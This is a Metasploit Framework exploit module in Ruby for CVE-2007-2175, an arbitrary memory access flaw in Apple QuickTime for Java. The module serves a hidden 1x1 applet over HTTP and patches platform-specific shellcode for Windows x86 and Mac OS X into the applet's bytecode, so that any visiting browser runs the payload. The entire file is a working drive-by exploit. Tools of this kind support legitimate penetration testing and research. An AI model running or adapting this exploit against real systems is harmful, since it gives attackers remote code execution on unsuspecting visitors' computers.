##
# $Id: qtjava_pointer.rb 7903 2009-12-17 05:22:40Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QTJava toQTPointer() Arbitrary Memory Access',
			'Description'    => %q{
				This module exploits an arbitrary memory access vulnerability in the
			Quicktime for Java API provided with Quicktime 7. 

			},
			'License'        => MSF_LICENSE,
			'Author'         =>  
			[
				'hdm',           # Original exploit for Mac OS X PPC / Win32
				'kf',            # Added support for Mac OS X X86
				'ddz'            # Discovered bug, provided tips
			],
			'Version'        => '$Revision: 7903 $',
			'References'     => 
				[
					['CVE',    '2007-2175'],
					['OSVDB', '34178'],
	  				['BID',    '23608'],
					['URL',    'http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'],
				],
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => ''
				},
			'Targets'        =>
				[
#
# Problem with generic payloads + regenerate_payload still :(
#
#					[ 'Quicktime 7 Automatic', 
#						{
#							'Platform' => ['win', 'osx'],
#							'Arch' => [ARCH_X86, ARCH_PPC]
#						}
#					],
					[ 'Quicktime 7 on Windows x86', 
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86
						}
					],
					[ 'Quicktime 7 on Mac OS X PPC', 
						{
							'Platform' => 'osx',
							'Arch' => ARCH_PPC,
						}
					],
					[ 'Quicktime 7 on Mac OS X x86', 
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					],																
				],
#			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 23 2007'
			))
	end

	def on_request_uri(cli, req)
		
		# Create a cached mapping between IP and detected target
		@targetcache ||= {}
		@targetcache[cli.peerhost] ||= {}
		@targetcache[cli.peerhost][:update] = Time.now.to_i

		if (target.name =~ /Automatic/) 
			case req.headers['User-Agent']
			when /Windows/i
				print_status("Choosing a Windows target for #{cli.peerhost}:#{cli.peerport}...")
				@targetcache[cli.peerhost][:target] = self.targets[1]
			when /PPC Mac OS X/i
				print_status("Choosing a Mac OS X PPC target for #{cli.peerhost}:#{cli.peerport}...")
				@targetcache[cli.peerhost][:target] = self.targets[2]			
			when /Intel Mac OS X/i
				print_status("Choosing a Mac OS X x86 target for #{cli.peerhost}:#{cli.peerport}...")
				@targetcache[cli.peerhost][:target] = self.targets[3]
			end
		end

		# Clean the cache 
		rmq = []
		@targetcache.each_key do |addr|
			if (Time.now.to_i > @targetcache[addr][:update]+60)
				rmq.push addr
			end
		end
				
		rmq.each {|addr| @targetcache.delete(addr) }
	
	
		# Request processing
			
		if (not req.uri.match(/\.class$/i))
		
			# Redirect to the base directory so the applet code loads...
			if (not req.uri.match(/\/$/))
				send_redirect(cli, get_resource() + '/', '')
				return
			end
		
			# Display the applet loading HTML
			print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
			send_response_html(cli, generate_html(), { 'Content-Type' => 'text/html' })	
			return
		end
		
		# Send the actual applet over
		print_status("Sending applet to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, generate_applet(cli, req), { 'Content-Type' => 'application/octet-stream' })
		
		# Handle the payload
		handler(cli)
	end
	
	def generate_html()
		return "<html><head></head><body><applet width='1' height='1' code='QTJavaExploit.class'></applet></body></html>"
	end
	
	def generate_applet(cli, req)

		this_target = nil
		if (target.name =~ /Automatic/) 
			if (@targetcache[cli.peerhost][:target])
				this_target = @targetcache[cli.peerhost][:target]
			else
				return ''
			end
		else
			this_target = target
		end

		path = File.join(Msf::Config.install_root, "data", "exploits", "QTJavaExploit.class")

		fd = File.open(path, "rb")
		data = fd.read(fd.stat.size)
		fd.close
		
		# 1 = OSX PPC, 2 = OSX X86, 3 = WIN X86
		idx_targ = data.index("\x03\x10\xcc\x54")
		
		# 1024 bytes for shellcode
		idx_code = data.index("\x03\x10\xf0\x54")

		# Handle Mac OS X PPC
		if (this_target.arch.include?(ARCH_PPC))
			tp = regenerate_payload(cli, 'osx', ARCH_PPC, this_target)
			data = patch_bytecode(idx_code, data, tp.encoded)
			data = patch_bytecode(idx_targ, data, "\x01")
		end
		
		# Handle Mac OS X x86 / Windows x86
		if (this_target.arch.include?(ARCH_X86))
			
			if (this_target.platform.platforms.include?(Msf::Module::Platform::Windows))
				tp = regenerate_payload(cli, 'win', ARCH_X86, this_target)
				data = patch_bytecode(idx_code, data, tp.encoded)
				data = patch_bytecode(idx_targ, data, "\x03")
			end
			
			if (this_target.platform.platforms.include?(Msf::Module::Platform::OSX))
				tp = regenerate_payload(cli, 'osx', ARCH_X86, this_target)
				data = patch_bytecode(idx_code, data, tp.encoded)
				data = patch_bytecode(idx_targ, data, "\x02")				
			end			
		end	

		return data
	end	

	def patch_bytecode(off, data, buff)
		
		cnt = 0
		off -= 1
		while (cnt < buff.length)
			cnt += 1 
			while (! (data[off-1] == 0x10 && data[off+1] == 0x54))
				off+=1
			end
			data[off]=buff[cnt-1]
			off += 1
		end

		return data
	end

	
end
